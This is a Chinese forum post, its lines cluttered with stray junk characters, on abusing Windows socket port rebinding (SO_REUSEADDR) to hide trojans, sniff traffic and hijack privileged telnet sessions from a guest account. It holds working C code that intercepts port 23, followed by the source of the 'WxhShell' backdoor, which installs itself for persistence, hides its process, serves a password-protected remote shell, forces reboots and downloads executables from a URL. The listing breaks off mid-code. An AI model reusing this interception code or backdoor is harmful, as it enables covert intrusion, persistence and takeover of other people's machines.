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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qDG x (d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 sza\pR<  
Tg O]q4  
  saddr.sin_family = AF_INET; H8"RdKwg?  
g&/lyQ+G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *8qRdI9  
RQ|K?^k v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a?Fz&BE  
1y[~xxgE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R|Bi%q|4P  
N@0/=B[n  
  这意味着什么?意味着可以进行如下的攻击: c%G~HOE=B  
uq6>K/~D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '`}D+IQ(j  
sifjmNP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M GC=L .  
9Q(Lnu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zz3{+1w]  
vB7]L9=@"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }c8et'HYf  
Y_$!XIJ4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lz0dt<8eP  
8B6(SQp%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _Iy)p{y  
oSYJXs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eY Rd#w  
Zu#^a|PE*  
  #include <AVWT+,  
  #include }6u}?>S  
  #include a)Ht(*/B  
  #include    T: '<:*pD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h{yh}04P1  
  int main() *@lVesC2  
  { {nZP4jze  
  WORD wVersionRequested; zwUZ*Se  
  DWORD ret; %QDAog  
  WSADATA wsaData; }}Q h_(  
  BOOL val; $!'Vn)Z7  
  SOCKADDR_IN saddr; G| &$/]~  
  SOCKADDR_IN scaddr; w'i+WEU>l  
  int err; BThrv$D}  
  SOCKET s; ]S(nA!]  
  SOCKET sc; MYJDfI  
  int caddsize; hHEn  
  HANDLE mt; \o,et9zDJ3  
  DWORD tid;   uG.`  
  wVersionRequested = MAKEWORD( 2, 2 ); {IB4%,qT  
  err = WSAStartup( wVersionRequested, &wsaData ); P5XUzLV L  
  if ( err != 0 ) { 1(aib^!B  
  printf("error!WSAStartup failed!\n"); MkZoHzg}c  
  return -1; %> YRNW@%  
  } yYJ +vs  
  saddr.sin_family = AF_INET; }+NlY D:qF  
   29@m:=-}7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s*CBYzOm  
$\oe}`#o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &xj,.;  
  saddr.sin_port = htons(23); z2.OR,R}]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =;8q`  
  { 4tiCxf)  
  printf("error!socket failed!\n"); V,7Xeh(+5L  
  return -1; kU)E-h  
  } L{f0r!d|  
  val = TRUE; Ov:U3P?%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7'{%djL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3gCP?%R  
  { Kv5 !cll5  
  printf("error!setsockopt failed!\n"); 6XhS g0s  
  return -1; -k,}LJjo  
  } D#ED?Lqf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PVq y\i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pkIJbI{aS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g>?,,y6/w  
&fxyY (  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sBN4:8  
  { B`%%,SLJ  
  ret=GetLastError(); L@ N\8mf  
  printf("error!bind failed!\n"); Qmv8T ^+  
  return -1; :$^sI"hO  
  } >va9*pdJ  
  listen(s,2); OYfP!,+bn  
  while(1) _rUsb4r  
  { "y .(E7 6  
  caddsize = sizeof(scaddr); #=fd8}9  
  //接受连接请求 7&dPrnQX=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "aGpC{  
  if(sc!=INVALID_SOCKET) h_t<Jl  
  { o[G,~f\-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y5V]uQSD  
  if(mt==NULL) oH [-fF  
  { g;nPF*(  
  printf("Thread Creat Failed!\n"); ?P2 d 9b  
  break; `t #I e *  
  } sgeME^v  
  } @ao Hz8K  
  CloseHandle(mt); Q0_|?]v  
  } ;cZ]^kof  
  closesocket(s); bJ.68643  
  WSACleanup(); ps]s Tw  
  return 0; J}&xS<  
  }   8+~|!)a  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZnB|vfL?  
  { x6~`{N1N M  
  SOCKET ss = (SOCKET)lpParam; / ='/R7~  
  SOCKET sc; ~u80v h'  
  unsigned char buf[4096]; [~rBnzb  
  SOCKADDR_IN saddr; j0K}nS\ P  
  long num; ~Ywto  
  DWORD val; jDM^e4U.l  
  DWORD ret; <+7-^o _  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !7kca#,X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    N5GQ2V  
  saddr.sin_family = AF_INET; -}<W|r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cW, 6 MAQo  
  saddr.sin_port = htons(23); R$ 40cW3`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ^pZ\:  
  { G0$,H(]~  
  printf("error!socket failed!\n"); |FD-q.AV  
  return -1; !*|`-woE  
  } !TuMrA *  
  val = 100; `Df)wNN1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~%:23mIk  
  { DadlCEZv  
  ret = GetLastError(); ZTSNM)f  
  return -1; \c$! C8z  
  } 8|p*T&Cn&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (/l9@0Y.t  
  { =C2,?6!  
  ret = GetLastError(); TL_8c][.4$  
  return -1; t[cZ|+^]  
  } ,U/ZG|=v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j'JNQo;q  
  { DW~< 8  
  printf("error!socket connect failed!\n"); ;GxKPy  
  closesocket(sc); '=vD!6=0@  
  closesocket(ss); ng[ZM);  
  return -1; R`|GBVbv  
  } [2cG 7A  
  while(1) sHulaX{  
  { Y)4&PN~[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 My!<_Hp-W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z:}d\~`x$%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "#mr?h_  
  num = recv(ss,buf,4096,0); p} }=li>  
  if(num>0) 6<<ihm+  
  send(sc,buf,num,0); :Yqi5CR  
  else if(num==0) A#j'JA>_  
  break; ,.<l^sj5  
  num = recv(sc,buf,4096,0); ;M"JN:J8  
  if(num>0) J Covk1  
  send(ss,buf,num,0); 5rpTR  
  else if(num==0)  cUz7F  
  break; MRdZ'  
  } 'Nv*ePz  
  closesocket(ss); J@c)SK%2h  
  closesocket(sc); jE</a %  
  return 0 ; 1Lb+ &  
  } \?e{/hXnl  
@(:M?AO9S.  
mmG+"g$|  
========================================================== ^SKuX?f\  
&8 ~+^P1w  
下边附上一个代码,,WXhSHELL o4CgtqRs  
|,89zTk'  
========================================================== P*6B+8h"5g  
D?3^>h  
#include "stdafx.h" v(/T<^{cuk  
Zi fAn  
#include <stdio.h> T Prqb  
#include <string.h> @<O Bt d  
#include <windows.h> u<l[S  
#include <winsock2.h> Wo@0yF@  
#include <winsvc.h> q}#4bB9  
#include <urlmon.h> _fu?,  
2\M^ _x$N  
#pragma comment (lib, "Ws2_32.lib") aoh"<I%]>4  
#pragma comment (lib, "urlmon.lib") uMToVk`Uv  
^F `   
#define MAX_USER   100 // 最大客户端连接数 x 2\ ,n  
#define BUF_SOCK   200 // sock buffer c} GH|i  
#define KEY_BUFF   255 // 输入 buffer W"_")V=QBz  
J]A!>|Ic  
#define REBOOT     0   // 重启 -Fe) )Y'=  
#define SHUTDOWN   1   // 关机 E}d@0C:  
{re<S<j&  
#define DEF_PORT   5000 // 监听端口 lV-b   
[;/ydE=  
#define REG_LEN     16   // 注册表键长度 ShdE!q7  
#define SVC_LEN     80   // NT服务名长度 ;{79d8/=  
W0&NX`m  
// 从dll定义API ^b]h4z$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "+iPeRF!hU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >'^Tp7\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uv~r]P)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fcc\hV;  
Pwn3/+"%K  
// wxhshell配置信息 l.c*, 9  
struct WSCFG { ua%$r[  
  int ws_port;         // 监听端口 -rSp gk0wL  
  char ws_passstr[REG_LEN]; // 口令 r(W=1e'  
  int ws_autoins;       // 安装标记, 1=yes 0=no J2M[aibV  
  char ws_regname[REG_LEN]; // 注册表键名 VFj}{Y  
  char ws_svcname[REG_LEN]; // 服务名 }]ak6'|[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W *t+!cU/:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _s/ 5oRHA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v&p|9C@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x roo_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `;yfSoY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;N4A9/)  
WleE$ ,  
}; Nv@SpV'  
]3xb Q1  
// default Wxhshell configuration (*>%^C?  
struct WSCFG wscfg={DEF_PORT, x$o?ckyH  
    "xuhuanlingzhe", 2 5DXJ b^:  
    1, iYi3x_A`  
    "Wxhshell", 88]V6Rm9[*  
    "Wxhshell", nm)H\i  
            "WxhShell Service", 8X,dVX5LT  
    "Wrsky Windows CmdShell Service", !e5!8z  
    "Please Input Your Password: ", PT7-_r  
  1, *w> dT  
  "http://www.wrsky.com/wxhshell.exe", E-Nc|A  
  "Wxhshell.exe" Cku#[?G  
    }; {k4)f ad\  
fk5xIW  
// 消息定义模块 1 PL2[_2:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w\o?p.drp=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )YE3n-~7{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P;7JK=~k  
char *msg_ws_ext="\n\rExit."; q#RUL!WF7U  
char *msg_ws_end="\n\rQuit."; uURm6mVt9:  
char *msg_ws_boot="\n\rReboot..."; c]SXcA;Pmv  
char *msg_ws_poff="\n\rShutdown..."; z>rl7&[@  
char *msg_ws_down="\n\rSave to "; 5G!0Yy['  
>/@wht4- j  
char *msg_ws_err="\n\rErr!"; Ah5`Cnv  
char *msg_ws_ok="\n\rOK!"; -][~_Hd{  
SvZ~xTit  
char ExeFile[MAX_PATH]; ^O#>LbM"x  
int nUser = 0; y:t@X~  
HANDLE handles[MAX_USER]; N~rA/B]T  
int OsIsNt; 0!<qfT a  
TR;"&'#k  
SERVICE_STATUS       serviceStatus; or~2r8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LhN?j5XqM  
#|<\q*<  
// 函数声明 ME.l{?v  
int Install(void); kj_MzgC'?  
int Uninstall(void);  .dA_}  
int DownloadFile(char *sURL, SOCKET wsh); @d&(*9Y  
int Boot(int flag); s!WGs_1@  
void HideProc(void); _ebo  
int GetOsVer(void); 0,b.;r  
int Wxhshell(SOCKET wsl); vO>Fj  
void TalkWithClient(void *cs); T_\Nvzb}  
int CmdShell(SOCKET sock); ;gS)o#v0  
int StartFromService(void); YfRjr  
int StartWxhshell(LPSTR lpCmdLine); t1Ty.F)r  
nHAET  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =35g:fL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /V-uo(n< .  
{zd0 7!9y  
// 数据结构和表定义 O+iNR9O  
SERVICE_TABLE_ENTRY DispatchTable[] = ''t\J^+&  
{ bSa%?laS  
{wscfg.ws_svcname, NTServiceMain}, } Xbmb8  
{NULL, NULL} %r E:5)  
}; tuT>,BbR  
k P]'  
// 自我安装 _}bs0 kIz  
int Install(void)  cs+;ijp  
{ b |SDg%e  
  char svExeFile[MAX_PATH]; Q]/ZVcoqo  
  HKEY key; s fD@lW3  
  strcpy(svExeFile,ExeFile); S vTd#>ke  
~Up5+7k@  
// 如果是win9x系统,修改注册表设为自启动 -!o*A>N  
if(!OsIsNt) { N>pTl$\4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2VpKG*!\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&g@o@wa  
  RegCloseKey(key); bVLBqa=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5 [GdFd>{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n["G ry  
  RegCloseKey(key); o >wty3l:  
  return 0; A9 *P7  
    } :.DZ~I  
  } >m:;. vVY  
} Nxm^jPM 0  
else { xDqJsp=]-  
M `O=rH }  
// 如果是NT以上系统,安装为系统服务 `T'[H/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t=l@(%O 0_  
if (schSCManager!=0) ^LI\W'K  
{ o#Gf7.E8  
  SC_HANDLE schService = CreateService 6Qc *:(GE  
  ( ! 3 ;;6  
  schSCManager, Vs1H)T%  
  wscfg.ws_svcname, 1k)31GEQw  
  wscfg.ws_svcdisp, 83(-/ y  
  SERVICE_ALL_ACCESS, Z;ze{Vb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <z.Y#{p?k  
  SERVICE_AUTO_START, As{Q9o5j/  
  SERVICE_ERROR_NORMAL, e w%rc.;  
  svExeFile,  !n`9V^`  
  NULL, 7MbV|gM}  
  NULL, %LM2CgH V  
  NULL, |*fi!nvk@  
  NULL, dI(1L~  
  NULL 2v$\mL  
  ); C.|.0^5  
  if (schService!=0) q1^bH 6*fl  
  { ,kQCCn]  
  CloseServiceHandle(schService); 2y"L&3W  
  CloseServiceHandle(schSCManager); m~I@ q [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q!10 G  
  strcat(svExeFile,wscfg.ws_svcname); /wi*OZ7R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C1`fJh y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &gLXS1O  
  RegCloseKey(key); 9kzJ5}  
  return 0; /KTWBcs 7  
    } d[F3"b%  
  } c)j60y   
  CloseServiceHandle(schSCManager); 1b=,lm  
} 49o/S2b4z  
} ul-O3]\'@  
$x/VO\Z{-  
return 1; 6:Hd`  
} %zKTrsMZ  
+xL' LC x  
// 自我卸载 u<U8LR=)V5  
int Uninstall(void) !#Pr'm/,mu  
{ {EjzJr>  
  HKEY key; SgWLs%B  
x%yzhIRR  
if(!OsIsNt) { xeB-fy)5+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { []-<-TqJ  
  RegDeleteValue(key,wscfg.ws_regname); %jo,Gv  
  RegCloseKey(key); 3,"G!0 y.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )%JjV(:  
  RegDeleteValue(key,wscfg.ws_regname); HIq e~Vc  
  RegCloseKey(key); FrsXLUY  
  return 0; &c^tJ-s  
  } \zJb}NbnT  
} ms&6N']  
} r0Zj'F_e  
else { tXCgRU  
HGao}@'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /[qLf:rGI  
if (schSCManager!=0) #e[S+a  
{ (j(hr'f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -]Ny-[P  
  if (schService!=0) yJ:rry  
  { F Jp<J  
  if(DeleteService(schService)!=0) { 7\AoMk}  
  CloseServiceHandle(schService); m;J'y2h =$  
  CloseServiceHandle(schSCManager); yRivf.wH  
  return 0; ok1w4#%,  
  } _ G$21=  
  CloseServiceHandle(schService); vX?C9Fr2  
  } d" =)=hm!  
  CloseServiceHandle(schSCManager); )GfL?'Z  
} sB*!Nf^y  
} v'Pbx  
Nh01NY;  
return 1; rA|&G'  
} '};mBW4z  
\Ez&?yb/  
// 从指定url下载文件 '=+gwe M  
int DownloadFile(char *sURL, SOCKET wsh) M4n0GWHLy  
{ Cb6K!5[q]  
  HRESULT hr; * qJHoP;  
char seps[]= "/"; b5#Jo2C`AJ  
char *token; lot;d3}  
char *file; YIs_.CTi  
char myURL[MAX_PATH]; b w!  
char myFILE[MAX_PATH]; J^=Xy(3e  
;v!Ef"E|cV  
strcpy(myURL,sURL); gDjAnz#  
  token=strtok(myURL,seps); $Ji;zR4,  
  while(token!=NULL) QuBA'4ht  
  { RNopx3  
    file=token; ' ,1[rWyc  
  token=strtok(NULL,seps); _4 YT2k  
  } Qoa&]]  
uvRX{q 4  
GetCurrentDirectory(MAX_PATH,myFILE); oT!i}TW?o  
strcat(myFILE, "\\"); 3fUiYI|&7  
strcat(myFILE, file); ~ Zw37C9J  
  send(wsh,myFILE,strlen(myFILE),0); !iL6/  
send(wsh,"...",3,0); y[/:?O}g4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <OrQbrWQa  
  if(hr==S_OK) Ri3*au/Q  
return 0; h^YUu`P  
else y J>Bc  
return 1; g'9~T8i& ^  
v=daafO  
} ,=[r6k<  
y:Agmr,S  
// 系统电源模块 Ih[k{p  
int Boot(int flag) hG}gKs  
{ w}YcAnuB{%  
  HANDLE hToken; R1Fcd@DWD  
  TOKEN_PRIVILEGES tkp; }((P)\s  
~"Su2{"8B  
  if(OsIsNt) { L/)eNZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] I5&'#%2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bduHYs+rq  
    tkp.PrivilegeCount = 1; hb(H-`16  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ex.^V sf_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BO+t o.  
if(flag==REBOOT) { S rhBU6K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TCK#bJ  
  return 0; {]iM5?  
}  zj$Ve  
else { 8g?2( MT;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y}h&dAr  
  return 0; 39x 4(  
} !FQS9SoO9  
  } V"T5<HA9  
  else { @P">4xVX{  
if(flag==REBOOT) { M 9 N'Hk=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EL6<%~,V"I  
  return 0; _`Dz%(c  
} \SBAk h  
else { vvLzUxV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u~!Pzz3"  
  return 0; \Hu?K\SWs  
} bV:MOj^  
} }vZTiuzC  
KDr)'gl&  
return 1; V$ho9gQ!l[  
} !,~C  
xv7nChB  
// win9x进程隐藏模块 XvZ5Q  
void HideProc(void) R8|F qBs  
{ Yez  
aW#^@||B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -h2 1  
  if ( hKernel != NULL ) qxHsmGV  
  { -3SRGr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C9j5Pd5q1L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "uBr]N:  
    FreeLibrary(hKernel); 6Z-[-0o+g  
  } \wp8kSzC  
}7i}dyQv}  
return; k~]\kv=  
} w69G6G(  
sh%%U  
// 获取操作系统版本 0C717  
int GetOsVer(void) rUmnv%qTS  
{ ^ lG^.  
  OSVERSIONINFO winfo; _:Ov-HIR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Hr)h{!F"  
  GetVersionEx(&winfo); Oe0dC9H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Li)@Cn%  
  return 1; UO' X"`  
  else 3ZqtIQY`  
  return 0; <7oZV^nd *  
} 8u Z4[  
C7!=LiK}  
// 客户端句柄模块 ;_1 >nXh  
int Wxhshell(SOCKET wsl) o2^?D`Jr  
{ ?e23[  
  SOCKET wsh; h}%yG{'/M=  
  struct sockaddr_in client; ; zfBe%Uf  
  DWORD myID; aT=V/Xh}d  
ScC!?rTW~7  
  while(nUser<MAX_USER) {\kDu#18Ld  
{ xKoNo^FF  
  int nSize=sizeof(client); Ot3+<{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Of{'A  
  if(wsh==INVALID_SOCKET) return 1; w&}UgtEm  
kN* \yH|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^j'vM\^`ml  
if(handles[nUser]==0) ntF#x.1Pm  
  closesocket(wsh); 0.!Q 4bhD  
else 5O"wPsl  
  nUser++; q?oJ=]m"  
  } 7 P]Sc   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +e) RT<  
dYhLk2  
  return 0; mWU*}-M  
} Q$2^m(?;  
|)Sx"B)  
// 关闭 socket tA9(N>[ *  
void CloseIt(SOCKET wsh) +,}CuF  
{ >V3pYRA   
closesocket(wsh); 4Jj O.H  
nUser--; qzu%Pp6If  
ExitThread(0); ++0xa%:  
} l7GLN1#m  
^i~'aq  
// 客户端请求句柄 (9D,Ukw  
void TalkWithClient(void *cs) <*&2b  
{ cWL 7gv\|  
{%z}CTf#  
  SOCKET wsh=(SOCKET)cs; hH@pA:`s  
  char pwd[SVC_LEN]; bq` 0$c%hN  
  char cmd[KEY_BUFF]; h>K%Ox R  
char chr[1]; LL=nMoS  
int i,j; Jx= v6==7  
h2edA#bub  
  while (nUser < MAX_USER) { 6b#J!:?  
610hw376B  
if(wscfg.ws_passstr) { O:G-I$F|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wz] OM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L}%4YB  
  //ZeroMemory(pwd,KEY_BUFF); Ci^tP~)&"  
      i=0; rDWqJ<8  
  while(i<SVC_LEN) { W= \gPCo  
y'pX/5R0  
  // 设置超时 #oD * H:%*  
  fd_set FdRead; ^k}jPc6  
  struct timeval TimeOut; #&c}i n"!  
  FD_ZERO(&FdRead); }!g^}BWWp  
  FD_SET(wsh,&FdRead); <ba+7CK] w  
  TimeOut.tv_sec=8; kzb1iBe 6m  
  TimeOut.tv_usec=0; iG;GAw|E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xa32p_|5~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @Y2&v956  
] Q\/si&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?{I]!gI  
  pwd=chr[0]; zbL6TP@=  
  if(chr[0]==0xd || chr[0]==0xa) { t^1c^RpTb  
  pwd=0; Cdd +I5~  
  break; 5%6r,?/7KM  
  } D>Ph))QI  
  i++; IT0*~WMZ  
    } c\pPwG  
H@xIAL  
  // 如果是非法用户,关闭 socket g:nU&-x#R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G|Y9F|.!  
} ua vv  
}nJG<rY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +EBoFeeIG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); onj:+zl  
x?|   
while(1) { p#dpDjh  
 ,M&[c|  
  ZeroMemory(cmd,KEY_BUFF); tJ9i{TS  
W:16qbK  
      // 自动支持客户端 telnet标准   j/xL+Y(=  
  j=0;  !(<Yc5  
  while(j<KEY_BUFF) { URD<KIN>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -3T6ck  
  cmd[j]=chr[0]; sx0:g?F3j  
  if(chr[0]==0xa || chr[0]==0xd) { eqze7EY  
  cmd[j]=0; \WVrn>%xu  
  break; 3 # ua  
  } (_ElM>  
  j++; fw1g;;E  
    } 0oi =}lV  
\'40u|f  
  // 下载文件 K}U}h>N  
  if(strstr(cmd,"http://")) { Y@Kp'+t(!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m ,U`hPJ  
  if(DownloadFile(cmd,wsh)) z_p/.kQ'5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *tda_B 2  
  else }]H_|V*f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @E$PjdB5M  
  } AhARBgf<  
  else { mSzBNvc i  
f9g#pyH4  
    switch(cmd[0]) { 0VB~4NNR  
  A8R}W=  
  // 帮助 dSb|hA}@  
  case '?': { [S/]Vk|4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]64mSB  
    break; *_z5Pa`A  
  } 6 /Apdn1[  
  // 安装 rnVh ]xJ  
  case 'i': { h*Y);mc$#  
    if(Install()) 8v M}moper  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T }X#I'Z  
    else +M6qbIO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8eSIY17  
    break; *Ki ],>_~  
    } E VBB:*q6  
  // 卸载 +]Y&las  
  case 'r': { +t R6[%  
    if(Uninstall()) $3sS&i<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !0~$u3[b  
    else Fr)G h>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +QIM~tt)  
    break; |wZ8O}O{E  
    } F}A@H<?  
  // 显示 wxhshell 所在路径 O=#FpPHrdw  
  case 'p': { g`!:7|&,_  
    char svExeFile[MAX_PATH]; {@9y%lmrh  
    strcpy(svExeFile,"\n\r"); DLkNL?a  
      strcat(svExeFile,ExeFile); rs3Uk.Z^ '  
        send(wsh,svExeFile,strlen(svExeFile),0); *Ri?mEv hF  
    break; .foM>UOY  
    } ' @M  
  // 重启 >yn%.Uoh@  
  case 'b': { d9[*&[2J|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n}qHt0N  
    if(Boot(REBOOT)) F+_4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PqIGc  
    else { H>[1D H#b  
    closesocket(wsh); QtQku1{  
    ExitThread(0); +n]U3b  
    } ]S[zD|U%  
    break; m El*{]  
    } IEdC _6G  
  // 关机 |*7uF<ink6  
  case 'd': { a8-2:8Su  
